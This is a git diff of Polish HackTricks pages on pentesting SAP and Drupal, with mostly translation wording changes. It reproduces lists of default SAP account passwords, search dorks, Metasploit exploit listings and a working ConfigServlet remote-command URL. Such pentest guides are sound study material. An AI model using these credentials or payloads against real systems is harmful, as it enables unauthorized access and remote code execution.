||||||
|
@ -125,10 +131,10 @@ Command: nmap -sSUC -p 111 {IP}
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -12,20 +12,20 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
# Wprowadzenie do SAP
|
# Wprowadzenie do SAP
|
||||||
|
|
||||||
SAP oznacza Systemy, Aplikacje i Produkty w Przetwarzaniu Danych. SAP, z definicji, jest również nazwą oprogramowania ERP \(Planowanie Zasobów Przedsiębiorstwa\) oraz nazwą firmy.
|
SAP oznacza Systemy, Aplikacje i Produkty w Przetwarzaniu Danych. SAP, z definicji, jest również nazwą oprogramowania ERP \(Enterprise Resource Planning\) oraz nazwą firmy.
|
||||||
System SAP składa się z kilku w pełni zintegrowanych modułów, które obejmują praktycznie każdy aspekt zarządzania biznesem.
|
System SAP składa się z kilku w pełni zintegrowanych modułów, które obejmują praktycznie każdy aspekt zarządzania firmą.
|
||||||
|
|
||||||
Każda instancja SAP \(lub SID\) składa się z trzech warstw: bazy danych, aplikacji i prezentacji\), każdy krajobraz zwykle składa się z czterech instancji: dev, test, QA i produkcyjnej.
|
Każda instancja SAP \(lub SID\) składa się z trzech warstw: bazy danych, aplikacji i prezentacji\), każdy krajobraz zwykle składa się z czterech instancji: dev, test, QA i produkcyjnej.
|
||||||
Każda z warstw może być wykorzystana w pewnym stopniu, ale największy efekt można osiągnąć, **atakując bazę danych**.
|
Każda z warstw może być wykorzystana w pewnym stopniu, ale największy efekt można osiągnąć, **atakując bazę danych**.
|
||||||
|
|
||||||
Każda instancja SAP jest podzielona na klientów. Każdy z nich ma użytkownika SAP\*, odpowiednik "roota" aplikacji.
|
Każda instancja SAP jest podzielona na klientów. Każdy ma użytkownika SAP\*, odpowiednik "roota" aplikacji.
|
||||||
Po początkowym utworzeniu, ten użytkownik SAP\* otrzymuje domyślne hasło: "060719992" \(więcej domyślnych haseł poniżej\).
|
Po początkowym utworzeniu, ten użytkownik SAP\* otrzymuje domyślne hasło: "060719992" \(więcej domyślnych haseł poniżej\).
|
||||||
Byłbyś zaskoczony, gdybyś wiedział, jak często te **hasła nie są zmieniane w środowiskach testowych lub deweloperskich**!
|
Byłbyś zaskoczony, gdybyś wiedział, jak często te **hasła nie są zmieniane w środowiskach testowych lub deweloperskich**!
|
||||||
|
|
||||||
|
@ -36,8 +36,8 @@ Atak brutalny może pomóc, jednak może istnieć mechanizm blokady konta.
|
||||||
|
|
||||||
> Następna sekcja pochodzi głównie z [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) od użytkownika shipcod3!
|
> Następna sekcja pochodzi głównie z [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) od użytkownika shipcod3!
|
||||||
|
|
||||||
* Sprawdź Zakres Aplikacji lub Krótki Program testowy. Zanotuj nazwy hostów lub instancje systemowe do połączenia z SAP GUI.
|
* Sprawdź Zakres Aplikacji lub Opis Programu do testowania. Zanotuj nazwy hostów lub instancje systemowe do połączenia z SAP GUI.
|
||||||
* Użyj OSINT \(otwartej inteligencji źródłowej\), Shodan i Google Dorks, aby sprawdzić pliki, subdomeny i cenne informacje, jeśli aplikacja jest wystawiona na Internet lub publiczna:
|
* Użyj OSINT \(open source intelligence\), Shodan i Google Dorks, aby sprawdzić pliki, subdomeny i cenne informacje, jeśli aplikacja jest wystawiona na Internet lub publiczna:
|
||||||
```text
|
```text
|
||||||
inurl:50000/irj/portal
|
inurl:50000/irj/portal
|
||||||
inurl:IciEventService/IciEventConf
|
inurl:IciEventService/IciEventConf
|
||||||
|
@ -49,10 +49,10 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||||||
```
|
```
|
||||||
* Oto jak wygląda [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
|
* Oto jak wygląda [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
|
||||||
|
|
||||||
![Ekran logowania do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
![Ekran logowania SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||||
|
|
||||||
* Użyj nmap do sprawdzenia otwartych portów i znanych usług \(routery sap, webdynpro, usługi sieciowe, serwery www, itp.\)
|
* Użyj nmap do sprawdzenia otwartych portów i znanych usług \(routery sap, webdnypro, usługi sieciowe, serwery www, itp.\)
|
||||||
* Przeczesz adresy URL, jeśli działa na nim serwer WWW.
|
* Przeczesz adresy URL, jeśli działa na nich serwer WWW.
|
||||||
* Przeprowadź fuzzing katalogów \(możesz użyć Burp Intruder\), jeśli działa na nich serwer WWW na określonych portach. Oto kilka dobrych list słów dostarczonych przez projekt SecLists do znajdowania domyślnych ścieżek SAP ICM oraz innych interesujących katalogów lub plików:
|
* Przeprowadź fuzzing katalogów \(możesz użyć Burp Intruder\), jeśli działa na nich serwer WWW na określonych portach. Oto kilka dobrych list słów dostarczonych przez projekt SecLists do znajdowania domyślnych ścieżek SAP ICM oraz innych interesujących katalogów lub plików:
|
||||||
|
|
||||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||||
|
@ -76,12 +76,12 @@ rhosts => 192.168.96.101
|
||||||
msf auxiliary(sap_service_discovery) > run
|
msf auxiliary(sap_service_discovery) > run
|
||||||
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
||||||
```
|
```
|
||||||
## Testowanie Grubego Klienta / SAP GUI
|
## Testowanie Thick Client / SAP GUI
|
||||||
|
|
||||||
Oto polecenie do połączenia z SAP GUI
|
Oto polecenie do połączenia z SAP GUI
|
||||||
`sapgui <nazwa hosta serwera SAP> <numer systemu>`
|
`sapgui <nazwa hosta serwera SAP> <numer systemu>`
|
||||||
|
|
||||||
* Sprawdź domyślne dane uwierzytelniające \(W klasyfikacji podatności Bugcrowd, jest to uważane za P1 -> Błąd konfiguracji zabezpieczeń serwera \| Użycie domyślnych danych uwierzytelniających \| Serwer produkcyjny\):
|
* Sprawdź domyślne dane uwierzytelniające \(W taksonomii oceny podatności Bugcrowd, jest to uważane za P1 -> Błąd konfiguracji zabezpieczeń serwera \| Użycie domyślnych danych uwierzytelniających \| Serwer produkcyjny\):
|
||||||
```text
|
```text
|
||||||
# SAP* - High privileges - Hardcoded kernel user
|
# SAP* - High privileges - Hardcoded kernel user
|
||||||
SAP*:06071992:*
|
SAP*:06071992:*
|
||||||
|
@ -132,29 +132,29 @@ SAP*:Down1oad:000,001
|
||||||
DEVELOPER:Down1oad:001
|
DEVELOPER:Down1oad:001
|
||||||
BWDEVELOPER:Down1oad:001
|
BWDEVELOPER:Down1oad:001
|
||||||
```
|
```
|
||||||
* Uruchom Wireshark, a następnie uwierzytelnij się w kliencie \(SAP GUI\) przy użyciu uzyskanych poświadczeń, ponieważ niektóre klienci przesyłają poświadczenia bez SSL. Istnieją dwa znane wtyczki do Wiresharka, które potrafią analizować główne nagłówki używane przez protokół SAP DIAG: wtyczka analizy SecureAuth Labs SAP oraz wtyczka SAP DIAG opracowana przez Positive Research Center.
|
* Uruchom Wireshark, a następnie uwierzytelnij się w kliencie \(SAP GUI\) przy użyciu uzyskanych poświadczeń, ponieważ niektórzy klienci przesyłają poświadczenia bez SSL. Istnieją dwa znane wtyczki do Wiresharka, które potrafią analizować główne nagłówki używane przez protokół SAP DIAG: wtyczka analizy SecureAuth Labs SAP oraz wtyczka SAP DIAG opracowana przez Positive Research Center.
|
||||||
* Sprawdź eskalacje uprawnień, takie jak korzystanie z niektórych kodów transakcji SAP \(tcodes\) przez użytkowników o niskich uprawnieniach:
|
* Sprawdź eskalacje uprawnień, takie jak korzystanie z niektórych kodów transakcji SAP \(tcodes\) dla użytkowników o niskich uprawnieniach:
|
||||||
* SU01 - Do tworzenia i zarządzania użytkownikami
|
* SU01 - Do tworzenia i zarządzania użytkownikami
|
||||||
* SU01D - Do wyświetlania użytkowników
|
* SU01D - Do wyświetlania użytkowników
|
||||||
* SU10 - Do masowej konserwacji
|
* SU10 - Do masowej konserwacji
|
||||||
* SU02 - Do ręcznego tworzenia profili
|
* SU02 - Do ręcznego tworzenia profili
|
||||||
* SM19 - Audyt bezpieczeństwa - konfiguracja
|
* SM19 - Audyt bezpieczeństwa - konfiguracja
|
||||||
* SE84 - System informacyjny dla autoryzacji SAP R/3
|
* SE84 - System informacyjny uprawnień SAP R/3
|
||||||
* Sprawdź, czy możesz wykonywać polecenia systemowe / uruchamiać skrypty w kliencie.
|
* Sprawdź, czy możesz wykonywać polecenia systemowe / uruchamiać skrypty w kliencie.
|
||||||
* Sprawdź, czy możesz przeprowadzić atak XSS na eksploratorze BAPI
|
* Sprawdź, czy możesz przeprowadzić atak XSS na eksploratorze BAPI
|
||||||
|
|
||||||
# Testowanie interfejsu sieciowego
|
# Testowanie interfejsu internetowego
|
||||||
|
|
||||||
* Przeczesz adresy URL \(patrz faza odkrywania\).
|
* Przeczeszaj adresy URL \(patrz faza odkrywania\).
|
||||||
* Przeprowadź fuzzing adresów URL, jak w fazie odkrywania. Oto jak wygląda [http://SAP:50000/index.html](http://sap:50000/index.html):
|
* Testuj adresy URL tak jak w fazie odkrywania. Oto jak wygląda [http://SAP:50000/index.html](http://sap:50000/index.html):
|
||||||
|
|
||||||
![Strona główna SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
![Strona indeksowa SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||||
|
|
||||||
* Szukaj powszechnych podatności sieciowych \(odwołaj się do OWASP Top 10\), ponieważ w niektórych miejscach występują podatności XSS, RCE, XXE, itp.
|
* Szukaj powszechnych podatności internetowych \(Odniesienie do OWASP Top 10\), ponieważ w niektórych miejscach występują podatności typu XSS, RCE, XXE, itp.
|
||||||
* Zapoznaj się z metodologią Jasona Haddixa [„Metodologia łowców błędów”](https://github.com/jhaddix/tbhm) do testowania podatności sieciowych.
|
* Zapoznaj się z metodologią Jasona Haddixa [„Metodologia łowców błędów”](https://github.com/jhaddix/tbhm) do testowania podatności internetowych.
|
||||||
* Autoryzacja za pomocą manipulacji czasownikami? Być może :\)
|
* Autoryzacja za pomocą manipulacji czasownikami? Być może :\)
|
||||||
* Otwórz `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, następnie kliknij przycisk „Wybierz”, a następnie w otwartym oknie naciśnij „Szukaj”. Powinieneś zobaczyć listę użytkowników SAP \(Odwołanie do podatności: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
* Otwórz `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, a następnie kliknij przycisk „Wybierz”, a następnie w otwartym oknie naciśnij „Szukaj”. Powinieneś zobaczyć listę użytkowników SAP \(Odniesienie do podatności: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
||||||
* Czy poświadczenia są przesyłane przez HTTP? Jeśli tak, jest to uważane za P3 zgodnie z [Taxonomią Ocen Podatności Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Uszkodzona Autoryzacja i Zarządzanie Sesjami \| Słabe Logowanie Funkcji Przez HTTP. Wskazówka: Sprawdź również [http://SAP:50000/startPage](http://sap:50000/startPage) lub portale logowania :\)
|
* Czy poświadczenia są przesyłane przez HTTP? Jeśli tak, jest to uważane za P3 zgodnie z [Taxonomią Ocen Podatności Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Uszkodzona Autoryzacja i Zarządzanie Sesjami \| Słabe Logowanie Funkcji przez HTTP. Wskazówka: Sprawdź również [http://SAP:50000/startPage](http://sap:50000/startPage) lub portale logowania :\)
|
||||||
|
|
||||||
![Strona startowa SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
![Strona startowa SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
||||||
|
|
||||||
|
@ -258,7 +258,7 @@ exploit/windows/lpd/saplpd 2008-02
|
||||||
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
||||||
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
||||||
```
|
```
|
||||||
* Spróbuj użyć znanych exploitów (sprawdź Exploit-DB) lub ataków, takich jak stary, ale dobry "SAP ConfigServlet Remote Code Execution" w portalu SAP:
|
* Spróbuj użyć znanych exploitów \(sprawdź Exploit-DB\) lub ataków, takich jak stary, ale nadal skuteczny „SAP ConfigServlet Remote Code Execution” w portalu SAP:
|
||||||
```text
|
```text
|
||||||
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
||||||
```
|
```
|
||||||
|
@ -289,24 +289,24 @@ bizploit> start
|
||||||
# Inne Przydatne Narzędzia do Testowania
|
# Inne Przydatne Narzędzia do Testowania
|
||||||
|
|
||||||
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Narzędzie Powershell do oceny bezpieczeństwa SAP
|
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Narzędzie Powershell do oceny bezpieczeństwa SAP
|
||||||
* [Burp Suite](https://portswigger.net/burp) - niezbędne do fuzzowania katalogów i oceny bezpieczeństwa sieci web
|
* [Burp Suite](https://portswigger.net/burp) - niezbędne do fuzzowania katalogów i oceny bezpieczeństwa sieciowego
|
||||||
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteka Pythona do tworzenia pakietów protokołu sieciowego SAP
|
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteka Pythona do tworzenia pakietów protokołu sieciowego SAP
|
||||||
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Pomoc dla nmap w wykrywaniu SAP/ERP
|
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Pomoc dla nmap w wykrywaniu SAP/ERP
|
||||||
|
|
||||||
## Referencje
|
## Odnośniki
|
||||||
|
|
||||||
* [Testowanie Przenikania SAP Za Pomocą Metasploita](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
* [Testowanie Przenikania SAP Za Pomocą Metasploita](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
||||||
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - skrypt do półautomatyzacji Bizploit
|
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - skrypt do półautomatyzacji Bizploit
|
||||||
* [Konfiguracja Bezpieczeństwa SAP NetWeaver ABAP część 3: Domyślne hasła dostępu do aplikacji](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
* [Konfiguracja Bezpieczeństwa SAP NetWeaver ABAP, część 3: Domyślne hasła do dostępu do aplikacji](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
||||||
* [Lista kodów transakcji ABAP związanych z bezpieczeństwem SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
* [Lista kodów transakcji ABAP związanych z bezpieczeństwem SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
||||||
* [Atakowanie Portalu SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
* [Łamanie Portalu SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
||||||
* [10 najciekawszych podatności i ataki w SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
* [10 najciekawszych podatności i ataków w SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
||||||
* [Ocenianie bezpieczeństwa ekosystemów SAP za pomocą bizploit: Odkrywanie](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
* [Ocenianie bezpieczeństwa ekosystemów SAP za pomocą bizploit: Odkrywanie](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
||||||
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
||||||
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
||||||
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -318,9 +318,9 @@ bizploit> start
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup oficjalne **gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup oficjalne [**gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,14 +7,14 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
```bash
|
```bash
|
||||||
curl https://www.drupal.org/ | grep 'content="Drupal'
|
curl https://www.drupal.org/ | grep 'content="Drupal'
|
||||||
```
|
```
|
||||||
* **Węzeł**: Drupal **indeksuje swoje treści za pomocą węzłów**. Węzeł może **przechowywać wszystko**, takie jak wpis na blogu, ankieta, artykuł, itp. URI strony mają zazwyczaj formę `/node/<nodeid>`.
|
* **Węzeł**: Drupal **indeksuje swoją zawartość za pomocą węzłów**. Węzeł może **przechowywać wszystko**, takie jak wpis na blogu, ankieta, artykuł, itp. URI strony mają zazwyczaj formę `/node/<nodeid>`.
|
||||||
```bash
|
```bash
|
||||||
curl drupal-site.com/node/1
|
curl drupal-site.com/node/1
|
||||||
```
|
```
|
||||||
|
@ -34,8 +34,8 @@ curl drupal-site.com/node/1
|
||||||
Drupal obsługuje **trzy rodzaje użytkowników** domyślnie:
|
Drupal obsługuje **trzy rodzaje użytkowników** domyślnie:
|
||||||
|
|
||||||
1. **`Administrator`**: Ten użytkownik ma pełną kontrolę nad stroną internetową Drupal.
|
1. **`Administrator`**: Ten użytkownik ma pełną kontrolę nad stroną internetową Drupal.
|
||||||
2. **`Użytkownik uwierzytelniony`**: Ci użytkownicy mogą zalogować się na stronie i wykonywać operacje, takie jak dodawanie i edytowanie artykułów, w zależności od ich uprawnień.
|
2. **`Użytkownik uwierzytelniony`**: Ci użytkownicy mogą zalogować się na stronie internetowej i wykonywać operacje takie jak dodawanie i edytowanie artykułów na podstawie swoich uprawnień.
|
||||||
3. **`Anonimowy`**: Wszyscy odwiedzający stronę są oznaczeni jako anonimowi. Domyślnie tym użytkownikom wolno tylko czytać posty.
|
3. **`Anonimowy`**: Wszyscy odwiedzający stronę internetową są uznawani za anonimowych. Domyślnie tym użytkownikom wolno tylko czytać posty.
|
||||||
|
|
||||||
### Wersja
|
### Wersja
|
||||||
|
|
||||||
|
@ -99,7 +99,7 @@ droopescan scan drupal -u http://drupal-site.local
|
||||||
### Z modułem PHP Filter
|
### Z modułem PHP Filter
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
W starszych wersjach Drupal **(przed wersją 8)** było możliwe zalogowanie się jako administrator i **włączenie modułu `PHP filter`**, który "Umożliwia ocenianie osadzonego kodu PHP/skrótów."
|
